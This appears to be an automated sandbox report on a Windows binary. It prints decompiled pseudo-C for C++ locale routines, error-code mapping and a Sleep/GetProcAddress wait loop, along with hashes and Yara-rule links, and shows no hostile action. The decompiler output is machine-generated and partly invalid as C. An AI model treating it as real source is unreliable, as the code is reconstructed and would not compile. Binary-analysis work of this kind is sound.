0x000940cd
0x00093fc4
0x00093fc8
0x00093fda
0x00093fdc
0x00000000
0x00000000
0x00093fe2
0x00093fe2
0x00093fe7
0x00093ff0
0x00093ff7
0x00093ff9
0x00093ffc
0x00093fff
0x00094003
0x00094009
0x0009400b
0x00094014
0x00094017
0x00094019
0x0009401b
0x0009401b
0x0009401b
0x0009400d
0x0009400d
0x0009400d
0x00094025
0x0009402d
0x00094037
0x0009403e
0x0009404c
0x0009404f
0x00094053
0x00094057
0x0009405b
0x00094060
0x00094068
0x0009406b
0x00094070
0x00094074
0x00094078
0x0009407f
0x00094082
0x00094085
0x0009408a
0x000940d0
0x0009408c
0x0009408c
0x0009408c
0x0009408f
0x00093fe9
0x00093fe9
0x00093fe9
0x00000000
0x00093fe7
0x00093fca
0x00093fd2
0x00000000
0x00000000
0x00093fd7
0x00000000
0x00093fd7

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00093F5A
std::_Lockit::_Lockit.LIBCPMT ref: 00093F7C
std::_Lockit::~_Lockit.LIBCPMT ref: 00093F9C

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

__Getcvt.LIBCPMT ref: 0009403E

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 00094078
std::_Lockit::~_Lockit.LIBCPMT ref: 0009409F

Part of subcall function 000569D0: std::locale::_Init.LIBCPMT ref: 00056A17
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056A50
Part of subcall function 000569D0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00056AA1
Part of subcall function 000569D0: __Getcvt.LIBCPMT ref: 00056AAA
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056B05
Part of subcall function 000569D0: std::_Lockit::~_Lockit.LIBCPMT ref: 00056B26
Part of subcall function 000569D0: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00056B37

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Locinfo::_$Exception@8GetcvtLocinfo_ctorThrowstd::locale::_$AddfacFacet_InitLocimp::_Locimp_Locinfo_dtorRegister__onexit
String ID:
API String ID: 2129595408-0
Opcode ID: 224153959e163aedee01eda9e6ccb13e75b5c9007f7d062efc0a4e3ec9445cf3
Instruction ID: df1291fd078f35ebc1399306c84454f059b552adc45ea446ad293c9f7202d879
Opcode Fuzzy Hash: 224153959e163aedee01eda9e6ccb13e75b5c9007f7d062efc0a4e3ec9445cf3
Instruction Fuzzy Hash: 805191B1D04205DFCF10DF58D841AAEB7F4FF54310F14826AE859A7392EB31AA85DBA1

Uniqueness

Uniqueness Score: 100.00%

Function 0006CCF0, Relevance: 9.1, APIs: 6, Instructions: 120
UNIQUE

Download Yara Rule

C-Code - Quality: 65%

			E0006CCF0(void* __ebx, void* __edx, intOrPtr* _a4) {
				char _v8;
				char _v16;
				char _v20;
				intOrPtr* _v24;
				char _v28;
				char _v72;
				char _v124;
				void* __edi;
				void* __esi;
				signed int _t38;
				intOrPtr* _t42;
				intOrPtr _t45;
				intOrPtr _t48;
				void* _t51;
				intOrPtr* _t56;
				void* _t58;
				signed int _t63;
				signed int _t64;
				void* _t65;
				intOrPtr _t68;
				intOrPtr _t72;
				void* _t78;
				signed int _t80;
				intOrPtr* _t84;
				signed int _t86;
				void* _t93;

				_t78 = __edx;
				_t65 = __ebx;
				_push(0xffffffff);
				_push(0x12ec8f);
				_push( *[fs:0x0]);
				_t38 =  *0x16f170; // 0xd529e887
				_push(_t38 ^ _t86);
				 *[fs:0x0] =  &_v16;
				E000D71DA( &_v28, 0);
				_v8 = 0;
				_t80 =  *0x17920c; // 0x1a
				_t42 =  *0x17a400; // 0x0
				_v24 = _t42;
				if(_t80 == 0) {
					E000D71DA( &_v20, _t80);
					_t93 =  *0x17920c - _t80; // 0x1a
					if(_t93 == 0) {
						_t63 =  *0x179200; // 0x27
						_t64 = _t63 + 1;
						 *0x179200 = _t64;
						 *0x17920c = _t64;
					}
					E000D7232( &_v20);
					_t80 =  *0x17920c; // 0x1a
				}
				_t8 = _a4 + 4; // 0x70d80
				_t68 =  *_t8;
				_t9 = _t68 + 0xc; // 0x3c3046c7
				if(_t80 >=  *_t9) {
					_t84 = 0;
					__eflags = 0;
					L8:
					if( *((char*)(_t68 + 0x14)) == 0) {
						L11:
						if(_t84 != 0) {
							L21:
							E000D7232( &_v28);
							 *[fs:0x0] = _v16;
							return _t84;
						}
						L12:
						_t45 = _v24;
						if(_t45 == 0) {
							_push(0x34);
							_t84 = E000ECF08(_t84, __eflags);
							_v24 = _t84;
							_v8 = 1;
							_t22 = _a4 + 4; // 0x70d80
							_t72 =  *_t22;
							__eflags = _t72;
							if(_t72 != 0) {
								_t23 = _t72 + 0x18; // 0x16484430
								_t48 =  *_t23;
								__eflags = _t48;
								if(_t48 == 0) {
									_t24 = _t72 + 0x1c; // 0x70d9c
									_t48 = _t24;
								}
							} else {
								_t48 = 0x15063e;
							}
							E00051DD0(_t65,  &_v124, _t78, _t80, _t48);
							 *((intOrPtr*)(_t84 + 4)) = 0;
							 *_t84 = 0x13ab78;
							_t51 = E000DA744(_t65, _t78, __eflags,  &_v72);
							asm("movups xmm0, [eax]");
							asm("movups [esi+0x8], xmm0");
							asm("movups xmm0, [eax+0x10]");
							asm("movups [esi+0x18], xmm0");
							asm("movq xmm0, [eax+0x20]");
							asm("movq [esi+0x28], xmm0");
							 *((intOrPtr*)(_t84 + 0x30)) =  *((intOrPtr*)(_t51 + 0x28));
							E00051E90( &_v124);
							_a4 = _t84;
							_v8 = 2;
							E000D974C(__eflags, _t84);
							_t56 =  *((intOrPtr*)( *_t84 + 4));
							__eflags = _t56 - 0x52060;
							if(_t56 != 0x52060) {
								 *_t56();
							} else {
								asm("lock inc dword [edi]");
							}
							 *0x17a400 = _t84;
						} else {
							_t84 = _t45;
						}
						goto L21;
					}
					_t58 = E000D9778();
					if(_t80 >=  *((intOrPtr*)(_t58 + 0xc))) {
						goto L12;
					}
					_t84 =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 8)) + _t80 * 4));
					goto L11;
				}
				_t10 = _t68 + 8; // 0x151a14
				_t84 =  *((intOrPtr*)( *_t10 + _t80 * 4));
				if(_t84 != 0) {
					goto L21;
				}
				goto L8;
			}

0x0006ccf0
0x0006ccf0
0x0006ccf3
0x0006ccf5
0x0006cd00
0x0006cd06
0x0006cd0d
0x0006cd11
0x0006cd1c
0x0006cd21
0x0006cd28
0x0006cd2e
0x0006cd33
0x0006cd38
0x0006cd3e
0x0006cd43
0x0006cd49
0x0006cd4b
0x0006cd50
0x0006cd51
0x0006cd56
0x0006cd56
0x0006cd5e
0x0006cd63
0x0006cd63
0x0006cd6c
0x0006cd6c
0x0006cd6f
0x0006cd72
0x0006cd84
0x0006cd84
0x0006cd86
0x0006cd8a
0x0006cd9c
0x0006cd9e
0x0006ce51
0x0006ce54
0x0006ce5e
0x0006ce6b
0x0006ce6b
0x0006cda4
0x0006cda4
0x0006cda9
0x0006cdb2
0x0006cdb9
0x0006cdbe
0x0006cdc1
0x0006cdc8
0x0006cdc8
0x0006cdcb
0x0006cdcd
0x0006cdd6
0x0006cdd6
0x0006cdd9
0x0006cddb
0x0006cddd
0x0006cddd
0x0006cddd
0x0006cdcf
0x0006cdcf
0x0006cdcf
0x0006cde4
0x0006cdec
0x0006cdf6
0x0006cdfd
0x0006ce08
0x0006ce0b
0x0006ce0f
0x0006ce13
0x0006ce17
0x0006ce1c
0x0006ce24
0x0006ce27
0x0006ce2c
0x0006ce30
0x0006ce34
0x0006ce3e
0x0006ce41
0x0006ce46
0x0006ce6e
0x0006ce48
0x0006ce48
0x0006ce48
0x0006ce4b
0x0006cdab
0x0006cdab
0x0006cdab
0x00000000
0x0006cda9
0x0006cd8c
0x0006cd94
0x00000000
0x00000000
0x0006cd99
0x00000000
0x0006cd99
0x0006cd74
0x0006cd77
0x0006cd7c
0x00000000
0x00000000
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0006CD1C
std::_Lockit::_Lockit.LIBCPMT ref: 0006CD3E
std::_Lockit::~_Lockit.LIBCPMT ref: 0006CD5E

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

__Getcvt.LIBCPMT ref: 0006CDFD

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 0006CE34
std::_Lockit::~_Lockit.LIBCPMT ref: 0006CE54

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Locinfo::_Throw$Facet_GetcvtLocinfo_ctorLocinfo_dtorRegister
String ID:
API String ID: 2799199283-0
Opcode ID: 6a6e110c241ab9b2f89f5065f302652020af42263a501066aaaeb15f9fbb500b
Instruction ID: ee527332553388e034a9d7f633bdb59b3e073534c5c54035200326d0cc8e642e
Opcode Fuzzy Hash: 6a6e110c241ab9b2f89f5065f302652020af42263a501066aaaeb15f9fbb500b
Instruction Fuzzy Hash: 7241A1719042049BDB21DF58C840ABABBF5FF54710F14816AE889AB352EB31F985CB91

Uniqueness

Uniqueness Score: 100.00%

Function 00070620, Relevance: 9.1, APIs: 6, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00070620(intOrPtr* _a4) {
				char _v8;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				intOrPtr* _t39;
				void* _t43;
				signed int _t48;
				signed int _t49;
				char _t51;
				intOrPtr _t55;
				signed int _t64;
				intOrPtr* _t67;
				signed int _t69;
				void* _t75;

				_push(0xffffffff);
				_push(0x12f150);
				_push( *[fs:0x0]);
				_t29 =  *0x16f170; // 0xd529e887
				_push(_t29 ^ _t69);
				 *[fs:0x0] =  &_v16;
				E000D71DA( &_v28, 0);
				_v8 = 0;
				_t64 =  *0x17a628; // 0x12
				_t51 =  *0x17a3fc; // 0x0
				_v20 = _t51;
				if(_t64 == 0) {
					E000D71DA( &_v24, _t64);
					_t75 =  *0x17a628 - _t64; // 0x12
					if(_t75 == 0) {
						_t48 =  *0x179200; // 0x27
						_t49 = _t48 + 1;
						 *0x179200 = _t49;
						 *0x17a628 = _t49;
					}
					E000D7232( &_v24);
					_t64 =  *0x17a628; // 0x12
				}
				_t55 =  *((intOrPtr*)(_a4 + 4));
				if(_t64 >=  *((intOrPtr*)(_t55 + 0xc))) {
					_t67 = 0;
					__eflags = 0;
					goto L8;
				} else {
					_t67 =  *((intOrPtr*)( *((intOrPtr*)(_t55 + 8)) + _t64 * 4));
					if(_t67 == 0) {
						L8:
						if( *((char*)(_t55 + 0x14)) == 0) {
							L11:
							if(_t67 == 0) {
								goto L12;
							}
						} else {
							_t43 = E000D9778();
							if(_t64 >=  *((intOrPtr*)(_t43 + 0xc))) {
								L12:
								if(_t51 == 0) {
									__eflags = E000724D0(_t51, _t64, _t67,  &_v20, _a4) - 0xffffffff;
									if(__eflags == 0) {
										E00051DB0( &_v40);
										_t39 = E001047B7( &_v40, 0x16cf58);
										goto L20;
									} else {
										_t67 = _v20;
										_a4 = _t67;
										_v8 = 1;
										E000D974C(__eflags, _t67);
										_t39 =  *((intOrPtr*)( *_t67 + 4));
										__eflags = _t39 - 0x52060;
										if(_t39 != 0x52060) {
											L20:
											 *_t39();
										} else {
											asm("lock inc dword [esi+0x4]");
										}
									}
									 *0x17a3fc = _t67;
								} else {
									_t67 = _t51;
								}
							} else {
								_t67 =  *((intOrPtr*)( *((intOrPtr*)(_t43 + 8)) + _t64 * 4));
								goto L11;
							}
						}
					}
				}
				E000D7232( &_v28);
				 *[fs:0x0] = _v16;
				return _t67;
			}

0x00070623
0x00070625
0x00070630
0x00070637
0x0007063e
0x00070642
0x0007064d
0x00070652
0x00070659
0x0007065f
0x00070665
0x0007066a
0x00070670
0x00070675
0x0007067b
0x0007067d
0x00070682
0x00070683
0x00070688
0x00070688
0x00070690
0x00070695
0x00070695
0x0007069e
0x000706a4
0x000706b2
0x000706b2
0x00000000
0x000706a6
0x000706a9
0x000706ae
0x000706b4
0x000706b8
0x000706ca
0x000706cc
0x00000000
0x00000000
0x000706ba
0x000706ba
0x000706c2
0x000706ce
0x000706d0
0x000706e5
0x000706e8
0x00070732
0x00070740
0x00000000
0x000706ea
0x000706ea
0x000706ed
0x000706f1
0x000706f5
0x000706ff
0x00070702
0x00070707
0x00070745
0x00070747
0x00070709
0x00070709
0x00070709
0x00070707
0x0007070d
0x000706d2
0x000706d2
0x000706d2
0x000706c4
0x000706c7
0x00000000
0x000706c7
0x000706c2
0x000706b8
0x000706ae
0x00070716
0x00070720
0x0007072e

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0007064D
std::_Lockit::_Lockit.LIBCPMT ref: 00070670
std::_Lockit::~_Lockit.LIBCPMT ref: 00070690

Part of subcall function 000724D0: __Getcoll.LIBCPMT ref: 0007266C

std::_Facet_Register.LIBCPMT ref: 000706F5
std::_Lockit::~_Lockit.LIBCPMT ref: 00070716
__CxxThrowException@8.LIBVCRUNTIME ref: 00070740

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionException@8Facet_GetcollRaiseRegisterThrow
String ID:
API String ID: 1560489502-0
Opcode ID: e14a4a4d2a9b046943f9e19d2df750333c3b539f00cdc852cfd22c9a114e75e3
Instruction ID: 63cef4c8a1afebf73fc3540f34502650c1faec98dde98a3d40cf07733b47cad1
Opcode Fuzzy Hash: e14a4a4d2a9b046943f9e19d2df750333c3b539f00cdc852cfd22c9a114e75e3
Instruction Fuzzy Hash: FC31CE71D04208DBCB20DF44D891AAEB7F4EF84720F14826AE80DA7392D734AD81CBA1

Uniqueness

Uniqueness Score: 16.53%

Function 000641A0, Relevance: 9.1, APIs: 6, Instructions: 94sleepthreadlibraryUNIQUE

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 000641DA
Sleep.KERNEL32(00000001), ref: 000641E9
SwitchToThread.KERNEL32 ref: 00064244
Sleep.KERNEL32(00000001), ref: 00064253
GetModuleHandleA.KERNEL32 ref: 00064276
GetProcAddress.KERNEL32(?), ref: 0006429A

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: SleepSwitchThread$AddressHandleModuleProc
String ID:
API String ID: 1866616949-0
Opcode ID: 72b0ab9d6185ad3e7f8fb337a8441235f3b6489dc1e9898bbf9b8defcf898e44
Instruction ID: 59720e638a61a9ca1c6eb9fdd63cabc7406df9ccc566df4a6f58e99eb2523179
Opcode Fuzzy Hash: 72b0ab9d6185ad3e7f8fb337a8441235f3b6489dc1e9898bbf9b8defcf898e44
Instruction Fuzzy Hash: 8731E23C600206DFC704DF94FCA86AA77B6EFC6316FA40069EA0A83A50D77259D0CA91

Uniqueness

Uniqueness Score: 100.00%

Function 00053CB0, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 199
windowUNIQUE

Download Yara Rule

C-Code - Quality: 77%

			E00053CB0(void* __ebx, void* __edi, char* _a4, long _a8) {
				int* _v0;
				int _v8;
				char _v16;
				signed int _v20;
				char _v60;
				int _v64;
				int _v68;
				char _v84;
				short _v88;
				long _v92;
				int _v96;
				void* _v100;
				signed short _v108;
				void* __esi;
				void* __ebp;
				signed int _t184;
				signed int _t185;
				signed short _t189;
				void* _t199;
				void* _t201;
				void* _t203;
				intOrPtr _t205;
				void* _t210;
				signed short _t218;
				signed short _t220;
				void* _t224;
				intOrPtr* _t227;
				intOrPtr _t235;
				signed short _t240;
				signed short _t241;
				intOrPtr _t247;
				signed short _t248;
				intOrPtr* _t251;
				void* _t254;
				int _t255;
				int _t256;
				void* _t257;
				void* _t258;
				char* _t260;
				long _t263;
				void* _t264;
				signed int _t275;

				_push(0xffffffff);
				_push(0x12cd20);
				_push( *[fs:0x0]);
				_t184 =  *0x16f170; // 0xd529e887
				_t185 = _t184 ^ _t275;
				_v20 = _t185;
				_push(_t185);
				 *[fs:0x0] =  &_v16;
				_t263 = _a8;
				_t260 = _a4;
				_v96 = _t260;
				_v92 = _t263;
				_v88 = 0;
				if(FormatMessageW(0x1300, 0, _t263, 0x400,  &_v88, 0, 0) != 0) {
					_t264 = _v88;
					_v100 = _t264;
					_v8 = 0;
					_t189 = WideCharToMultiByte(0, 0, _t264, 0xffffffff, 0, 0, 0, 0);
					_v96 = _t189;
					__eflags = _t189;
					if(_t189 != 0) {
						_push(0);
						E000649C0(__ebx,  &_v84, _t254, _t189);
						_v8 = 1;
						__eflags = _v64 - 0x10;
						_t192 =  >=  ? _v84 :  &_v84;
						_t240 = WideCharToMultiByte(0, 0, _v88, 0xffffffff,  >=  ? _v84 :  &_v84, _v96, 0, 0);
						__eflags = _t240;
						if(_t240 != 0) {
							_t241 = _t240 - 1;
							__eflags = _t241;
							if(_t241 > 0) {
								_t255 = _v64;
								do {
									__eflags = _t255 - 0x10;
									_t199 =  >=  ? _v84 :  &_v84;
									__eflags =  *((char*)(_t199 + _t241 - 1)) - 0xa;
									if( *((char*)(_t199 + _t241 - 1)) == 0xa) {
										goto L15;
									} else {
										__eflags = _t255 - 0x10;
										_t201 =  >=  ? _v84 :  &_v84;
										__eflags =  *((char*)(_t201 + _t241 - 1)) - 0xd;
										if( *((char*)(_t201 + _t241 - 1)) != 0xd) {
											__eflags = _t241;
											if(_t241 > 0) {
												__eflags = _t255 - 0x10;
												_t203 =  >=  ? _v84 :  &_v84;
												__eflags =  *((char*)(_t203 + _t241 - 1)) - 0x2e;
												if( *((char*)(_t203 + _t241 - 1)) == 0x2e) {
													__eflags = _t241;
												}
											}
										} else {
											goto L15;
										}
									}
									goto L20;
									L15:
									_t241 = _t241 - 1;
									__eflags = _t241;
								} while (_t241 > 0);
							}
							L20:
							E00064730( &_v84, _t241, 0);
							asm("movups xmm0, [ebp-0x50]");
							 *(_t260 + 0x10) = 0;
							 *(_t260 + 0x14) = 0;
							asm("movups [edi], xmm0");
							asm("movq xmm0, [ebp-0x40]");
							asm("movq [edi+0x10], xmm0");
							goto L21;
						} else {
							E00053C40(_t264, _t260, _v92);
							_t256 = _v64;
							__eflags = _t256 - 0x10;
							if(_t256 < 0x10) {
								L21:
								_v84 = 0;
								_v64 = 0xf;
								_v68 = 0;
								goto L22;
							} else {
								_t247 = _v84;
								_t257 = _t256 + 1;
								_t205 = _t247;
								__eflags = _t257 - 0x1000;
								if(_t257 < 0x1000) {
									L10:
									_push(_t257);
									E000ED2D0(_t247);
									goto L21;
								} else {
									_t247 =  *((intOrPtr*)(_t247 - 4));
									_t257 = _t257 + 0x23;
									__eflags = _t205 - _t247 + 0xfffffffc - 0x1f;
									if(__eflags > 0) {
										E0010F44B(__ebx, _t247, _t257, _t260, __eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t275);
										_t248 = _v108;
										__eflags = _t248;
										if(_t248 < 0) {
											__eflags = (_t248 & 0x1fff0000) - 0x70000;
											if((_t248 & 0x1fff0000) == 0x70000) {
												_t248 = _t248 & 0x0000ffff;
											}
										}
										_push(_t264);
										__eflags = _t248 - 0x10b;
										if(__eflags > 0) {
											__eflags = _t248 - 0x2714;
											if(__eflags > 0) {
												_t210 = _t248 - 0x2719;
												__eflags = _t210 - 0x38;
												if(_t210 > 0x38) {
													goto L91;
												} else {
													switch( *((intOrPtr*)(( *(_t210 + 0x54588) & 0x000000ff) * 4 +  &M0005450C))) {
														case 0:
															__ecx = _v0;
															E00053920(_v0, 9, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 1:
															goto L61;
														case 2:
															__ecx = _v0;
															E00053920(_v0, 0xe, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 3:
															__ecx = _v0;
															E00053920(_v0, 0x16, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 4:
															__ecx = _v0;
															E00053920(_v0, 0x18, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 5:
															__ecx = _v0;
															E00053920(_v0, 0x8c, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 6:
															__ecx = _v0;
															E00053920(_v0, 0x70, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 7:
															__ecx = _v0;
															E00053920(_v0, 0x67, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 8:
															__ecx = _v0;
															E00053920(_v0, 0x80, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 9:
															__ecx = _v0;
															E00053920(_v0, 0x6d, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0xa:
															__ecx = _v0;
															E00053920(_v0, 0x73, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0xb:
															__ecx = _v0;
															E00053920(_v0, 0x88, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0xc:
															__ecx = _v0;
															E00053920(_v0, 0x7b, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0xd:
															__ecx = _v0;
															E00053920(_v0, 0x87, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0xe:
															__ecx = _v0;
															E00053920(_v0, 0x82, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0xf:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0x66;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 0x10:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0x64;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 0x11:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0x65;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 0x12:
															__ecx = _v0;
															E00053920(_v0, 0x74, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0x13:
															__ecx = _v0;
															E00053920(_v0, 0x76, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0x14:
															__ecx = _v0;
															E00053920(_v0, 0x75, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0x15:
															__ecx = _v0;
															E00053920(_v0, 0x6a, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0x16:
															__ecx = _v0;
															E00053920(_v0, 0x6c, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0x17:
															__ecx = _v0;
															E00053920(_v0, 0x77, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0x18:
															__ecx = _v0;
															E00053920(_v0, 0x71, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0x19:
															__ecx = _v0;
															E00053920(_v0, 0x7e, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0x1a:
															__ecx = _v0;
															E00053920(_v0, 0x8a, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0x1b:
															__ecx = _v0;
															E00053920(_v0, 0x6b, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0x1c:
															__ecx = _v0;
															E00053920(_v0, 0x26, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0x1d:
															__ecx = _v0;
															E00053920(_v0, 0x6e, 0x152290) = _v0;
															_pop(__esi);
															return _v0;
															goto L92;
														case 0x1e:
															goto L91;
													}
												}
											} else {
												if(__eflags == 0) {
													E00053920(_v0, 4, 0x152290);
													return _v0;
												} else {
													__eflags = _t248 - 0x3f5;
													if(__eflags > 0) {
														_t218 = _t248 - 0x4d5;
														__eflags = _t218;
														if(_t218 == 0) {
															goto L57;
														} else {
															_t220 = _t218 - 0x48c;
															__eflags = _t220;
															if(_t220 == 0) {
																goto L56;
															} else {
																__eflags = _t220 != 3;
																if(_t220 != 3) {
																	goto L91;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														if(__eflags == 0) {
															goto L52;
														} else {
															_t224 = _t248 - 0x3e3;
															__eflags = _t224 - 0x11;
															if(_t224 > 0x11) {
																goto L91;
															} else {
																switch( *((intOrPtr*)(( *(_t224 + 0x544f8) & 0x000000ff) * 4 +  &M000544E8))) {
																	case 0:
																		_t226 = _v0;
																		 *_t226 = 0x69;
																		 *((char*)(_t226 + 4)) = 1;
																		 *(_t226 + 8) = 0x152290;
																		return _t226;
																		goto L92;
																	case 1:
																		goto L61;
																	case 2:
																		goto L52;
																	case 3:
																		goto L91;
																}
															}
														}
													}
												}
											}
										} else {
											if(__eflags == 0) {
												L44:
												_t227 = _v0;
												 *_t227 = 0x16;
												 *((char*)(_t227 + 4)) = 1;
												 *(_t227 + 8) = 0x152290;
												return _t227;
											} else {
												__eflags = _t248 - 0xd4;
												if(_t248 > 0xd4) {
													L91:
													E00053920(_v0, _t248, 0x1522a0);
													return _v0;
												} else {
													switch( *((intOrPtr*)(( *(_t248 + 0x54410) & 0x000000ff) * 4 +  &M000543C8))) {
														case 0:
															_t229 = _v0;
															 *_t229 = 0;
															_t229[1] = 0;
															_t229[2] = 0x152290;
															return _t229;
															goto L92;
														case 1:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0x28;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 2:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 2;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 3:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0x18;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 4:
															L61:
															_t214 = _v0;
															 *_t214 = 0xd;
															 *((char*)(_t214 + 4)) = 1;
															 *(_t214 + 8) = 0x152290;
															return _t214;
															goto L92;
														case 5:
															goto L44;
														case 6:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0xc;
															__eax[1] = 1;
															__eax[2] = 0x152290;
															return __eax;
															goto L92;
														case 7:
															__eax = _v0;
															_pop(__esi);
															 *__eax = 0x13;
															__eax[1] = 1;
															__eax[2] = 0x152290;
